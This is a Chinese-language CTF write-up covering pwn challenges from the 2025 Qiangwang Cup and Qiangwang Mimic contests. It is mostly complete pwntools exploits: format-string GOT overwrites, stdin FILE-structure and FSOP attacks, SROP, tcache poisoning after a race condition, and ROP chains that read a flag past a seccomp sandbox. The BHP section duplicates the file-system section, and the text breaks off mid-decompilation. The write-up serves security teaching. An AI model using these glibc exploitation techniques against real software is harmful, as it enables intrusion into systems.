文章总结: 本文档是关于2025年强网杯和强网拟态部分题目的解题思路分享,主要包含三个题目:flag-market、file-system和BHP。其中,flag-market题利用格式化字符串漏洞覆盖got表项以实现无限次利用,最终泄露flag;file-system和BHP两题则通过堆溢出漏洞结合对stdin结构体的攻击来实现任意地址写入,并利用FSOP(FileStructureOrientedProgramming)技术绕过沙箱执行ROP链来读取flag文件。文档中还提供了相应的Pythonexploit代码片段。
综合评分: 85
文章分类: CTF,WEB安全,渗透测试,红队,安全工具
2025 强网杯和强网拟态部分题解
zer00ne
zer00ne
看雪学苑
2026年3月21日 17:59
上海
1
强网杯
#
flag-market
#
程序先是打开了/flag文件
只有输入金额为0xff时才能进入下面的逻辑,否则关闭flag并清空token变量
随后将flag的头打印出来,将内存中的flag清空,并允许我们向user.log写入内容
由于使用了scanf(“%s”),导致可以写入无限长内容
当输入长度超过0x100,便可以覆盖format
可以自由格式化字符串,但由于是data段的格式化字符串
但这里可以输入0x10字节,所以可以将got表写在栈上,但是由于token清空我们无法再次进入scanf(“%s”)
如果我们将exit的got表改写为main函数,在退出时便可以再次进入main中,token便会刷新,我们又可以控制格式化字符串参数
然后可以使用格式化字符串泄露堆地址
由于flag是文件,所以被串在_IO_list_all的链表中,位于堆上,其中的文件指针中包含flag的内容,只要稍微调试便可以找到flag字符串相对于堆地址的偏移
再次使用exit退出,最后一次格式化字符串将flag的地址写在栈上并使用%s参数泄露flag内容,便可以获得flag
from pwn import *
#io=process('./pwn')
context.log_level='debug'
io=remote("47.93.216.175",38936)
def bug():
gdb.attach(io,"b *0x4014bc")
io.sendlineafter(b"2.exit",b"1")
io.sendlineafter(b"how much you want to pay?",b"255")
io.recvuntil(b"opened user.log, please report:\n")
payload=f"%{0x40}c%13$hhn%{0x13c3-0x40}c%12$hn".encode()#0x4013C3
io.sendline(b'a'*0x100+payload)
io.sendline(b"1")
got=0x404090
io.send(p64(got)+p64(got+2))
io.sendlineafter(b"2.exit",b"2")
io.sendlineafter(b"2.exit",b"2")
io.sendlineafter(b"2.exit",b"1")
io.sendlineafter(b"how much you want to pay?",b"255")
io.recvuntil(b"opened user.log, please report:\n")
io.sendline(b'a'*0x100+b"%11$p")
io.sendlineafter(b"2.exit",b"1")
#io.recvuntil(b"how much you want to pay?\n")
io.recvuntil(b"want to pay?\n")
io.sendline(b"1")
heap=int(io.recvuntil(b"we")[:-2],16)
print(hex(heap))
io.sendlineafter(b"2.exit",b"2")
io.sendlineafter(b"2.exit",b"2")
io.sendlineafter(b"2.exit",b"1")
io.sendlineafter(b"how much you want to pay?",b"255")
io.recvuntil(b"opened user.log, please report:\n")
io.sendline(b'a'*0x100+b"%16$s")
io.sendlineafter(b"2.exit",b"1")
io.send(p64(heap+0x3c0)+p64(heap+0x3c0))
io.interactive()
file-system
在leak中,可以输入0x28字节数据,泄露libc地址
随后进入一个堆管理菜单
其中edit,show,free都没有什么用
add功能只能使用一次,但是没有限制申请堆块的大小
这里的问题是没有对malloc大小进行检查,边直接进行read与ptr+size-1的置零
当malloc大小过大会malloc失败并返回null
所以当我们申请addr+1大小(足够大),便可以实现对任意addr的null写
由于我们已经知道了libc地址,便可以实现对任意libc地址的null写
libc的攻击面(got表,IO结构体,IO_list_all)
其中2.39中got已经不可写了,使用null攻击IO_list_all远远不够
如果攻击stdout结构体,最多只能泄露,但是我们已经有了libc地址
所以只剩下stdin可以攻击
在写入null时,stdin结构体的read_base为0x74ee68c03963,read_ptr为0x74ee68c03964
如果在read_base的末尾置0,下次走IO的输入函数便可以复写stdin结构体中read的三枚指针,可以在libc中任意长度写。
from pwn import *
io=process('./pwn')
libc=ELF('./libc.so.6')
#io=remote("123.56.27.220",26633)
def bug():
gdb.attach(io)
def add(size):
io.sendlineafter(b"Choice: ",b"1")
io.sendlineafter(b"Size: ",str(size).encode())
io.send(b'a'*0x28)
io.recvuntil(b'a'*0x28)
base=u64(io.recv(6)+b'\x00\x00')-0xaddae
print(hex(base))
stdin=base+0x2038e0
add(stdin+0x38+1)
IO=base+libc.sym._IO_2_1_stdout_
io.send(p64(0)*3+p64(IO)+p64(IO+0xa000))
由于开启了沙箱,使用orw绕过沙箱即可
直接在IO结构体中FSOP,使用setcontext进行栈迁移即可执行ROP
from pwn import *
io=process('./pwn')
libc=ELF('./libc.so.6')
#io=remote("123.56.27.220",26633)
def bug():
gdb.attach(io)
def add(size):
io.sendlineafter(b"Choice: ",b"1")
io.sendlineafter(b"Size: ",str(size).encode())
io.send(b'a'*0x28)
io.recvuntil(b'a'*0x28)
base=u64(io.recv(6)+b'\x00\x00')-0xaddae
print(hex(base))
stdin=base+0x2038e0
add(stdin+0x38+1)
IO=base+libc.sym._IO_2_1_stdout_
io.send(p64(0)*3+p64(IO)+p64(IO+0xa000))
rdi=base+0x000000000010f78b
rsi=base+0x0000000000110a7d
rdx=base+0x0000000000138d05#movsxd rdx, ecx ; ret
rcx=base+0x00000000000a877e
jmp_gadget=base+0x00000000000ee303
openat=base+libc.sym.openat
read=base+libc.sym.read
write=base+libc.sym.write
#------------------------------------------------
rop=p64(rdi)+p64(0x10000000000000000-100)
rop+=p64(rsi)+p64(IO + 0xe8)
rop+=p64(rcx)+p64(0)+p64(rdx)
rop+=p64(rcx)+p64(0)
rop+=p64(openat)
rop+=p64(rdi)+p64(3)
rop+=p64(rsi)+p64(IO+0xe0)
rop+=p64(rcx)+p64(0x50)+p64(rdx)
rop+=p64(read)
rop+=p64(rdi)+p64(1)
rop+=p64(rsi)+p64(IO+0xe0)
rop+=p64(rcx)+p64(0x50)+p64(rdx)
rop+=p64(write)
#--------------------------------------------------
fake_file = flat({
0x0: p64(0x320),
0x10: p64(base+libc.sym.setcontext + 61),
0x20: p64(IO),
0x78: p64(jmp_gadget),
0x88: p64(base+libc.sym._environ-0x10), # _lock_chain
0xa0: p64(IO),
0xa8: p64(jmp_gadget),
0xd8: p64(base+libc.sym._IO_wfile_jumps + 0x10),
0xe0: p64(IO-8)
}, filler=b"\x00")
fake_file+=b"./flag".ljust(0x10,b'\x00')
fake_file+=rop
io.sendafter("Choice:", fake_file)
io.interactive()
BHP
在leak中,可以输入0x28字节数据,泄露libc地址
随后进入一个堆管理菜单
其中edit,show,free都没有什么用
add功能只能使用一次,但是没有限制申请堆块的大小
这里的问题是没有对malloc大小进行检查,边直接进行read与ptr+size-1的置零
当malloc大小过大会malloc失败并返回null
所以当我们申请addr+1大小(足够大),便可以实现对任意addr的null写
由于我们已经知道了libc地址,便可以实现对任意libc地址的null写
libc的攻击面(got表,IO结构体,IO_list_all)
其中2.39中got已经不可写了,使用null攻击IO_list_all远远不够
如果攻击stdout结构体,最多只能泄露,但是我们已经有了libc地址
所以只剩下stdin可以攻击
在写入null时,stdin结构体的read_base为0x74ee68c03963,read_ptr为0x74ee68c03964
如果在read_base的末尾置0,下次走IO的输入函数便可以复写stdin结构体中read的三枚指针,可以在libc中任意长度写
from pwn import *
io=process('./pwn')
libc=ELF('./libc.so.6')
#io=remote("123.56.27.220",26633)
def bug():
gdb.attach(io)
def add(size):
io.sendlineafter(b"Choice: ",b"1")
io.sendlineafter(b"Size: ",str(size).encode())
io.send(b'a'*0x28)
io.recvuntil(b'a'*0x28)
base=u64(io.recv(6)+b'\x00\x00')-0xaddae
print(hex(base))
stdin=base+0x2038e0
add(stdin+0x38+1)
IO=base+libc.sym._IO_2_1_stdout_
io.send(p64(0)*3+p64(IO)+p64(IO+0xa000))
由于开启了沙箱,使用orw绕过沙箱即可
直接在IO结构体中FSOP,使用setcontext进行栈迁移即可执行ROP
from pwn import *
io=process('./pwn')
libc=ELF('./libc.so.6')
#io=remote("123.56.27.220",26633)
def bug():
gdb.attach(io)
def add(size):
io.sendlineafter(b"Choice: ",b"1")
io.sendlineafter(b"Size: ",str(size).encode())
io.send(b'a'*0x28)
io.recvuntil(b'a'*0x28)
base=u64(io.recv(6)+b'\x00\x00')-0xaddae
print(hex(base))
stdin=base+0x2038e0
add(stdin+0x38+1)
IO=base+libc.sym._IO_2_1_stdout_
io.send(p64(0)*3+p64(IO)+p64(IO+0xa000))
rdi=base+0x000000000010f78b
rsi=base+0x0000000000110a7d
rdx=base+0x0000000000138d05#movsxd rdx, ecx ; ret
rcx=base+0x00000000000a877e
jmp_gadget=base+0x00000000000ee303
openat=base+libc.sym.openat
read=base+libc.sym.read
write=base+libc.sym.write
#------------------------------------------------
rop=p64(rdi)+p64(0x10000000000000000-100)
rop+=p64(rsi)+p64(IO + 0xe8)
rop+=p64(rcx)+p64(0)+p64(rdx)
rop+=p64(rcx)+p64(0)
rop+=p64(openat)
rop+=p64(rdi)+p64(3)
rop+=p64(rsi)+p64(IO+0xe0)
rop+=p64(rcx)+p64(0x50)+p64(rdx)
rop+=p64(read)
rop+=p64(rdi)+p64(1)
rop+=p64(rsi)+p64(IO+0xe0)
rop+=p64(rcx)+p64(0x50)+p64(rdx)
rop+=p64(write)
#--------------------------------------------------
fake_file = flat({
0x0: p64(0x320),
0x10: p64(base+libc.sym.setcontext + 61),
0x20: p64(IO),
0x78: p64(jmp_gadget),
0x88: p64(base+libc.sym._environ-0x10), # _lock_chain
0xa0: p64(IO),
0xa8: p64(jmp_gadget),
0xd8: p64(base+libc.sym._IO_wfile_jumps + 0x10),
0xe0: p64(IO-8)
}, filler=b"\x00")
fake_file+=b"./flag".ljust(0x10,b'\x00')
fake_file+=rop
io.sendafter("Choice:", fake_file)
io.interactive()
#
Ez-stack
前置分析
程序的逻辑十分简单,可以溢出0xd8字节,存在沙箱且有一个小后门(将读入的字节数写入栈上)
可以看到沙箱留下了wr和Sigreturn以及一些无关紧要的系统调用
通过dockerfile可以分析出flag作为环境变量,被放在栈上
省去了orw中open和read两步,我们只需要获得栈地址再遍历栈就可以获得flag
攻击面分析
第一步,由于我们没有栈地址,所以应该先进行栈迁移到bss上
想要使用SROP又需要syscall地址,而syscall只能来自于libc
所以应该在bss上写入libc地址
那么可以在栈迁移后调用start函数,将大量地址写入bss段
from pwn import *
env = {'FLAG': 'flag{your_flag_here}'}
io=process('./pwn',env=env)
libc=ELF('./libc.so.6')
#io=remote("47.105.116.238",9999)
def bug():
gdb.attach(io,"b *0x4015FB")
context.arch='amd64'
read=0x4015FB
bss=0x404000+0x800 #从bss的中间部分开始栈迁移
start=0x401170
leave=0x40161E
target=0x4047c0
ret=leave+1
syscall=0x404788 #src:0x2a2dc target:0x91316 在libc中的syscall;ret地址
magic=0x40123D-1 #用于对任意libc地址进行偏移调整的gadget
rbp=magic+1
payload=p64(bss)*3+2*p64(bss)+p64(read)
io.send(payload)
pause()
payload=p64(bss-0x20)+p64(start)+b'\x00'*8+p64(bss-0x400)+p64(bss-0x20)+p64(leave)
io.send(payload)
可以看到已经有不少libc地址被写入bss段
下一步想使用magic_gadget将任意libc地址修改为syscall地址,但是使用magic_gadget的前提是控制rbx与rbp寄存器,想控制这两个寄存器则需要pop rbx;ret这样的指令
我们有需要从libc中获得,通过观察可以发现
在bss段的libc地址的附近有这样的gadget,但是与libc地址相差了2字节,由于libc偏移的页偏移机制,只有1.5字节是固定的,所以这里需要爆破半字节(1/16)
通过末位覆盖达成这个目的(p16(0xa2dc))
payload=p64(bss)*3+2*p64(target+0x20-0x30)+p64(read)+b'a'*0x98+p16(0xa2dc)
io.send(payload)
pause()
注意这里的gadget使用的是从add rsp,0x38开始的,至于为什么要这样选择要看后续利用
此时这个libc地址变成了可以控制rbx/rbp的gadget,我们还需要在这个gadget的高地址处布置magic_gadget与其他ROP,所以要把target设置为这个libc地址的下一个bss地址
从此处开始布置新的ROP链,此次布置要包含两个部分
1.直接覆盖返回地址,控制下次溢出时执行流到change_libc_ROP的低地址处
2.续写change_libc_ROP,将magic_gadget与后续调用写入高地址
这也是刚刚选择控制rbx的gadget时要带上一段跳栈汇编add rsp,0x38的原因,需要保证两个ROP不能重叠
payload =p64(0x404790+0x20)+p64(read) #这次的返回地址
payload+=b'0'*8+p64(bss-0x300)+p64(target-0x60)+p64(read)+b'1'*8 #此次执行用于向低地址写的ROP
payload+=p64(-0x2a2dc+0x91316) #当前libc地址到syscall地址的偏移
payload+=p64(syscall+0x3d)+p64(magic)#当前libc地址对应的bss地址+0x3d与magic_gadget
target=0x404790
payload+=p64(rbp)+p64(target)+p64(leave)#第二次溢出后执行栈迁移,将RSP拉低到低地址(如果只靠pop rbp与部分read,RSP只会越来越高,必须使用leave才能拉低RSP)
io.send(payload)
此后向低地址垫入ret滑梯,便可以将RSP滑到布置了好久的ROP上,执行将libc地址修改为syscall地址的ROP
payload=b'a'*0x18+p64(bss-0x600)+p64(bss)+p64(ret)*4
io.send(payload)
经过这个ROP,bss上的Libc地址被成功改写为syscall地址,离我们使用SROP进了一步
我们在写SROP前要先梳理下目标结构
高地址处要写入SigreturnFrame,低地址要写入ret滑梯,并且要在滑梯中插入一个read.plt(控制rax用)
f=SigreturnFrame()
f.rsp=syscall
f.rax=1
f.rdi=1
f.rsi=0x403FC0
f.rdx=0x8
f.rip=ret
f.rbp=0x404790+0x20
payload=p64(read)+p64(rbp)+p64(target-0x60)+p64(read)+p64(leave)+bytes(f)[0x28:]
io.send(payload)
pause()
上次布置的ROP允许我们直接向syscall的高地址写入内中
我们除了要写SigreturnFrame,还要写入syscall后的后续利用:我们通过SROP获取libc地址后对栈遍历的ROP
我们先写入
io.send(p64(target-0x40)*5+p64(read)+p64(bss)*2)
pause()
然后通过刚刚的leave将RSP移到syscall的低地址,再调用read,便可以向低地址到syscall中间填充ret滑梯
io.send(p64(ret)*5+p64(0x401110)+p64(ret)*5)
pause()
io.send(b'a'*0xf)
pause()
最后一次栈溢出,便将RSP沿着ret滑梯,滑倒了syscall上
上半部分是ret滑梯,下半部分是后续的SigreturnFrame与后续ROP的重合结构
SROP转为write调用,将got表打印出来,获得了libc地址
此时再次调用read,read会根据我们刚刚设定的rbp确定rsi的地址,所以SigreturnFrame中要确定rbp的位置
通过调整rbp大小,我们可以直接覆盖read.plt的返回地址
实现最后一次ROP,此时我们得知了libc地址,可以打印出envrion成员(栈地址),再调用write函数对栈进行遍历
可以最终获得栈上的环境遍历FLAG
#
#
2
强网拟态
#
baby_stack/stack
#
baby_stack是最最最简单的栈溢出,就不写了
通过gdb调试发现可以泄露栈地址
程序中还存在syscall指令,且未开启PIE保护
还存在一个很大的栈溢出
可以考虑先使用SROP调用write进行libc地址的泄露,然后再次栈溢出进行orw(本题开启了沙箱)
from pwn import *
#io=process('./pwn')
io=remote("pwn-ecae715792.challenge.xctf.org.cn", 9999, ssl=True)
libc=ELF('./libc.so.6')
context.arch='amd64'
io.send(b'a'*0x10)
io.recvuntil(b'a'*0x10)
stack=u64(io.recv(6)+b'\x00\x00')
print(hex(stack))
syscall=0x40140E
read=0x4010F0
f=SigreturnFrame()
f.rdi=1
f.rax=1
f.rsi=0x403FA8
f.rip=syscall
f.rdx=8
f.rsp=stack+0xf8
payload=b'a'*0x68+p64(read)+p64(syscall)+bytes(f)+p64(0x401443)
#gdb.attach(io)
io.send(payload)
pause()
io.send(b'a'*0xf)
io.recvuntil(b"Any thing else?\n")
base=u64(io.recv(8))-libc.sym.puts
print(hex(base))
ope=base+libc.sym.open
sendfile=base+libc.sym.sendfile
rdi=base+0x000000000002a3e5
rsi=base+0x000000000002be51
rdx=base+0x000000000011f357
rcx=base+0x000000000003d1ee
payload =b'a'*0x60+b'./flag\x00\x00'+p64(rdi)+p64(stack+0xf8)+p64(rsi)+p64(0)+p64(ope)
payload+=p64(rdi)+p64(1)+p64(rsi)+p64(3)+p64(rdx)+p64(0)*2+p64(rcx)+p64(0x120)+p64(sendfile)
io.send(payload)
io.interactive()
很公式的打法
Pin_note
逻辑逆向分析
无论是逻辑还是字符串都经过了高度混淆
通过gdb与黑盒测试可以得出以下基础流程
在进入note前需要设置一个密码,此后进入一个堆块管理系统(choice 2)
拥有增删改查功能
在进入note前,会先进行open与mmap操作
使用gdb调试这个mmap返回的内存,结合堆块管理操作,发现是用来记录堆块大小的(我添加了0x500和0x600的堆块)
我们着重关注这个mmap操作
mmap(0LL, 0x60uLL, 3, 1, fd, 0LL)
◆rdi : 0 地址由内核分配
◆rsi : 0x60 映射长度,会被对齐到0x1000
◆rdx : 3 拥有读写权限,3==2|1
◆rxc :关键内存和文件内容共享意味着此时这片内存与磁盘是时时共享信息
◆r8 : fd 被共享的文件句柄
◆r9 : 0 偏移为0
随后即使close(fd),此时这片内存与磁盘中的文件完成了绑定,二者的关系依旧不变
在堆管理器中依旧存在高度的指令混淆和字符串混淆
通过调试可以简单逆向出这些操作
def add(size):
io.sendlineafter(b'$> ', b'add')
io.sendlineafter(b'Enter size of note: ', str(size).encode())
def edit(index, size ,content=b'\x01'):
io.sendlineafter(b'$> ', b'edit')
io.sendlineafter(b'Enter index of note to edit: ', str(index).encode())
io.sendlineafter(b'Enter newsize: ', str(size).encode())
if content==b'\x01':
io.sendlineafter(b'Do you confirm to editing this note? (y/n): ',b'n')
else:
io.sendlineafter(b'Do you confirm to editing this note? (y/n): ',b'y')
io.sendlineafter(b'Enter new content for note: ', content)
def free(index):
io.sendlineafter(b'$> ', b'del')
io.sendlineafter(b'Enter index of note to delete: ', str(index).encode())
def show(index):
io.sendlineafter(b'$> ', b'show')
io.sendlineafter(b'Enter index of note to show: ', str(index).encode())
很标准的增删改查
漏洞寻找
堆管理系统
最先堆操作原语中寻找漏洞,比如常见的uaf,堆溢出(包括offbynull,offbyone)
按照特征对几个漏洞进行分析,使用了gdb调试与fuzzer进行盲打
发现并不存在漏洞,也就是说堆管理系统是安全的
共享内存
这道题的特色就是存在着一个管理堆块大小的磁盘-内存共享空间
既然堆管理原语不存在漏洞,那么漏洞只能存在于这个共享内存中了
通过gdb调试发现,每次创建的文件名都是一串随机字符
通过对字符串进行溯源,可以猜测字符串的生产与可能输入的passwd和时间有关
此时使用hook对猜想进行验证
#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdarg.h>
#include <stdio.h>
#include <unistd.h>
voidopen(char* filename){
puts("********************************");
printf("%s",filename);
return;
}
将此源码编译为.so并在程序运行时PRELOAD,open操作会被hook为打印操作
可以显示出我们的字符串
再写一个简单的py脚本对每次运行时回显的文件名进行接收
from pwn import *
lib = os.path.abspath('./hook.so')
env = os.environ.copy()
env['LD_PRELOAD'] = lib
#io = process(['./pwn'], env=env)
def bug():
gdb.attach(io,"b *$rebase(0x3ABD)\nc")
while True:
io = process(['./pwn'], env=env)
io.recvuntil(b'select: ')
io.sendline(b'1')
io.recvuntil(b'characters): ')
io.sendline(b'Mim')
io.recvuntil(b'select: ')
io.sendline(b'2')
io.recvuntil(b"********************************\n")
filename=io.recvuntil(b"Failed")[:-6].decode()
os.system(f"echo {filename} >> log.txt")
io.close()
结果会被记录在log.txt中
运行py后查看log,可以看到文件名随着时间均匀变化,证明文件名确实是时间戳产生的随机数与passwd组合产生的摘要
条件竞争
现在我们已知
1.每个elf的进程都会打开一个文件,并时时刻刻共享此进程中的内存与磁盘
2.短时间内会打开相同的文件,导致一个文件被多个进程的内存共享
3.堆操作原语中不存在可以利用的漏洞(除heap与libc的信息泄露)
只要让两个进程同时打开一个文件,一个文件对堆块大小列表进行修改,就会映射到另一个进程的堆块大小列表中
这样可以造成任意长度的堆溢出
攻击
信息泄露
io.recvuntil(b'select: ')
io.sendline(b'1')
io.recvuntil(b'characters): ')
io.sendline(b'Mim')
io.recvuntil(b'select: ')
io.sendline(b'2')
add(0x500)#0
add(0x500)#1
add(0x600)#2
add(0x500)#3
bug()
free(0)
free(2)
add(0x500)
show(0)
io.recvuntil(b'Content: ')
base=u64(io.recv(6)+b'\x00\x00')-0x21ace0
print(hex(base))
free(0)
add(0x500)#0
add(0x600)#2
edit(2,0x10,b'a'*0x10)
show(2)
io.recvuntil(b'a'*0x10)
heap=u64(io.recv(6)+b'\x00\x00')-0xd30
print(hex(heap))
free(0)
free(1)
free(2)
free(3)
本身操作原语中存在未置零的缺陷,可以直接泄露出libc地址与heap地址
溢出前的堆风水
add(0x10)#0
add(0x60)#1
add(0x80)#2
add(0xa0)#3
add(0x800)#4
add(0x60)#5
add(0xa0)#6
free(5)
free(6)
key=heap>>12
_IO_list_all=base+libc.sym._IO_list_all
environ=base+libc.sym.environ
free(1)
准备了两个堆溢出布局
第一个用来泄露栈地址
第二个用来劫持返回地址进行ROP
条件竞争
def overflow():
s=process('./pwn')
s.recvuntil(b'select: ')
s.sendline(b'1')
s.recvuntil(b'characters): ')
s.sendline(b'Mim')
s.recvuntil(b'select: ')
s.sendline(b'2')
s.sendlineafter(b'$> ', b'add')
s.sendlineafter(b'Enter size of note: ', str(0x500).encode())
s.sendlineafter(b'$> ', b'add')
s.sendlineafter(b'Enter size of note: ', str(0x500).encode())
s.sendlineafter(b'$> ', b'add')
s.sendlineafter(b'Enter size of note: ', str(0x500).encode())
s.close()
随后进行条件竞争,开启另外一个进程中将堆块大小列表填入三个0x500
如果进程s和进程io开启了同一个文件,就会导致io中堆块大小被修改为0x500
经过小小的爆破,可以看到io进程中的共享内存被s进程的操作修改。
此时可以使用edit功能进行栈溢出
next污染与栈溢出
edit(0,0x28,b'a'*0x10+p64(0)+p64(0x71)+p64(key^environ))
chun=heap+0x4e0
add(0x60)#1
add(0x60)#5
show(5)
io.recvuntil(b"Content: ")
stack=u64(io.recv(6)+b'\x00\x00')-0x228-8-0x88
print(f"stack-->{hex(stack)}")
free(3)
edit(2,0x98,b'a'*0x80+p64(0)+p64(0xb1)+p64(key^(stack)))
add(0xa0)#3
add(0xa0)#6
flag=stack
rdi=p64(base+0x000000000002a3e5)
rsi=p64(base+0x000000000002be51)
rdx=p64(base+0x000000000011f357)
rcx=p64(base+0x000000000003d1ee)
ope=base+libc.sym.open
sendfile=base+libc.sym.sendfile
orw =rdi+p64(flag)+rsi+p64(0)+rdx+p64(0)*2+p64(ope)
orw+=rdi+p64(1)+rsi+p64(3)+rdx+p64(0)*2+rcx+p64(0x100)+p64(sendfile)
edit(6,0xa0,b"./flag\x00\x00"+orw)
io.interactive()
通过这道题我发现劫持read函数的返回地址是最方便的,不用担心canary的问题。
以前都是劫持edit函数的返回地址,有时候add函数中没用read功能就会导致add返回时canary被修改。
EXP
from pwn import *
#context.log_level='debug'
io=process('./pwn')
#s=process('./pwn')
libc=ELF('./libc.so.6')
def bug():
gdb.attach(io)
def add(size):
io.sendlineafter(b'$> ', b'add')
io.sendlineafter(b'Enter size of note: ', str(size).encode())
def edit(index, size ,content=b'\x01'):
io.sendlineafter(b'$> ', b'edit')
io.sendlineafter(b'Enter index of note to edit: ', str(index).encode())
io.sendlineafter(b'Enter newsize: ', str(size).encode())
if content==b'\x01':
io.sendlineafter(b'Do you confirm to editing this note? (y/n): ',b'n')
else:
io.sendlineafter(b'Do you confirm to editing this note? (y/n): ',b'y')
io.sendlineafter(b'Enter new content for note: ', content)
def free(index):
io.sendlineafter(b'$> ', b'del')
io.sendlineafter(b'Enter index of note to delete: ', str(index).encode())
def show(index):
io.sendlineafter(b'$> ', b'show')
io.sendlineafter(b'Enter index of note to show: ', str(index).encode())
def overflow():
s=process('./pwn')
s.recvuntil(b'select: ')
s.sendline(b'1')
s.recvuntil(b'characters): ')
s.sendline(b'Mim')
s.recvuntil(b'select: ')
s.sendline(b'2')
s.sendlineafter(b'$> ', b'add')
s.sendlineafter(b'Enter size of note: ', str(0x500).encode())
s.sendlineafter(b'$> ', b'add')
s.sendlineafter(b'Enter size of note: ', str(0x500).encode())
s.sendlineafter(b'$> ', b'add')
s.sendlineafter(b'Enter size of note: ', str(0x500).encode())
s.close()
io.recvuntil(b'select: ')
io.sendline(b'1')
io.recvuntil(b'characters): ')
io.sendline(b'Mim')
io.recvuntil(b'select: ')
io.sendline(b'2')
add(0x500)#0
add(0x500)#1
add(0x600)#2
add(0x500)#3
free(0)
free(2)
add(0x500)
show(0)
io.recvuntil(b'Content: ')
base=u64(io.recv(6)+b'\x00\x00')-0x21ace0
print(hex(base))
free(0)
add(0x500)#0
add(0x600)#2
edit(2,0x10,b'a'*0x10)
show(2)
io.recvuntil(b'a'*0x10)
heap=u64(io.recv(6)+b'\x00\x00')-0xd30
print(hex(heap))
free(0)
free(1)
free(2)
free(3)
#=-=-=-=-=-=-==-=-=-=-=-==-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=-=--=
add(0x10)#0
add(0x60)#1
add(0x80)#2
add(0xa0)#3
add(0x800)#4
add(0x60)#5
add(0xa0)#6
free(5)
free(6)
key=heap>>12
_IO_list_all=base+libc.sym._IO_list_all
environ=base+libc.sym.environ
free(1)
overflow()
bug()
edit(0,0x28,b'a'*0x10+p64(0)+p64(0x71)+p64(key^environ))
chun=heap+0x4e0
add(0x60)#1
add(0x60)#5
show(5)
io.recvuntil(b"Content: ")
stack=u64(io.recv(6)+b'\x00\x00')-0x228-8-0x88
print(f"stack-->{hex(stack)}")
free(3)
edit(2,0x98,b'a'*0x80+p64(0)+p64(0xb1)+p64(key^(stack)))
add(0xa0)#3
add(0xa0)#6
flag=stack
rdi=p64(base+0x000000000002a3e5)
rsi=p64(base+0x000000000002be51)
rdx=p64(base+0x000000000011f357)
rcx=p64(base+0x000000000003d1ee)
ope=base+libc.sym.open
sendfile=base+libc.sym.sendfile
orw =rdi+p64(flag)+rsi+p64(0)+rdx+p64(0)*2+p64(ope)
orw+=rdi+p64(1)+rsi+p64(3)+rdx+p64(0)*2+rcx+p64(0x100)+p64(sendfile)
edit(6,0xa0,b"./flag\x00\x00"+orw)
io.interactive()
车联网 can
先是开始沙箱和初始化缓冲区和一些结构体后,要求输入硬编码的魔数
随后是个菜单,显式选项有三个,退出``帮助和重置
退出和帮助没什么用,重置会再次刷新结构体成员
结构体中包含一枚函数指针,几乎可以猜到要攻击什么东西了
__int64 __fastcall main(int a1, char **a2, char **a3){
__int64 result; // rax
__int64 v4; // r15
constunsigned __int16 *v5; // rsi
__int64 n35; // rax
unsigned __int16 v7; // cx
char *i; // rdx
__int64 v9; // rcx
unsignedint v10; // ebx
__int16 v11; // cx
int v12; // eax
__int64 v13; // rdx
char *i_1; // r8
__int64 v15; // rcx
unsigned __int64 n0xD; // rdi
char *v17; // r8
int n7; // r12d
__int64 v19; // rax
__int64 v20; // rdx
__int64 v21; // r8
__int64 v22; // rdi
__int64 v23; // rax
char *v24; // rdx
char v25; // cl
int v26; // edi
__int64 v27; // r8
__int64 v28; // rax
int n12803159; // [rsp+Ch] [rbp-25Ch] BYREF
__int64 v30; // [rsp+10h] [rbp-258h] BYREF
__int64 v31; // [rsp+18h] [rbp-250h] BYREF
char s[520]; // [rsp+20h] [rbp-248h] BYREF
unsigned __int64 v33; // [rsp+228h] [rbp-40h]
...
else
{
v30 = 0LL;
v5 = *__ctype_b_loc();
LOBYTE(n35) = s[0];
v7 = v5[(unsigned __int8)s[0]];
for ( i = s; (v7 & 0x2000) != 0; v7 = v5[v9] )
{
v9 = (unsigned __int8)*++i;
LOBYTE(n35) = v9;
}
v10 = 0;
while ( 1 )
{
v11 = v7 & 0x2000;
if ( !(_BYTE)n35 || (_BYTE)n35 == 35 )
break;
if ( v11 )
goto LABEL_18;
v12 = sub_16B0((unsignedint)(char)n35);
if ( v12 < 0 )
goto LABEL_16;
i = (char *)(v13 + 1);
v10 = v12 | (16 * v10);
if ( i == i_1 )
goto LABEL_16;
n35 = (unsigned __int8)*i;
v7 = v5[n35];
}
if ( v11 )
{
do
{
LABEL_18:
v15 = (unsigned __int8)*++i;
LOBYTE(n35) = v15;
}
while ( (v5[v15] & 0x2000) != 0 );
}
if ( (_BYTE)n35 != 35 )
{
LABEL_16:
puts("bad format.");
continue;
}
n0xD = (unsigned __int8)i[1];
v17 = i + 1;
n7 = 0;
v31 = 0LL;
if ( (unsigned __int8)n0xD <= 0xDu )
{
v19 = -9218LL;
if ( !_bittest64(&v19, n0xD) )
goto LABEL_22;
}
while ( 1 )
{
v24 = v17 + 1;
if ( (v5[(unsigned __int8)n0xD] & 0x2000) == 0 )
{
if ( (int)sub_16B0((unsignedint)(char)n0xD) < 0 )
goto LABEL_16;
v22 = *(unsigned __int8 *)(v21 + 1);
if ( (v5[v22] & 0x2000) != 0 )
{
do
{
v23 = *(unsigned __int8 *)++v20;
LOBYTE(v22) = v23;
}
while ( (v5[v23] & 0x2000) != 0 );
}
v26 = sub_16B0((unsignedint)(char)v22);
if ( v26 < 0 || n7 > 7 )
goto LABEL_16;
v27 = n7++;
s[v27 - 8] = v26 | (16 * v25);
}
n0xD = (unsigned __int8)*v24;
if ( (unsigned __int8)n0xD <= 0xDu && !_bittest64(&v4, n0xD) )
break;
v17 = v24;
}
v28 = __memcpy_chk(&v30, &v31, n7, 8LL);
if ( n7 > 0 )
content_deal(v10, v28, (unsignedint)n7);
else
LABEL_22:
puts("bad data");
}
}
}
}
return result;
}
长长的一段逻辑,实际上是进行对数据包的是否符合协议格式的检测
简单来说是数据必须符合以下格式
[命令头部HEX]#[数据HEX...]
这是车联网领域CAN/ISO-TP通信协议的简化版本
void __fastcall content_deal(int a1, unsigned __int8 *a2, int n2)
{
size_t n_1; // rdx
char n32; // cl
unsigned int v8; // ebx
const char *[err]_CF_seq_mismatch_exp_%u_got_%u_@_handler_%p_n; // rsi
size_t n7_1; // r12
int n8; // eax
size_t n; // rbx
__int16 n_2; // bx
size_t n6; // r12
__int64 v15; // rdx
__int64 n_3; // rbx
int n7; // eax
if ( n2 > 0 )
{
n_1 = *a2;
n32 = *a2 & 0xF0;
if ( n32 )
{
if ( n32 == 16 )
{
dword_4040 = 1;
n_2 = n_1;
n6 = 0LL;
v15 = a2[1];
qword_4048 = 0LL;
dword_4010 = 1;
n_3 = v15 | (n_2 << 8) & 0xF00;
n = n_3;
if ( n2 > 2 )
{
n7 = n2 - 2;
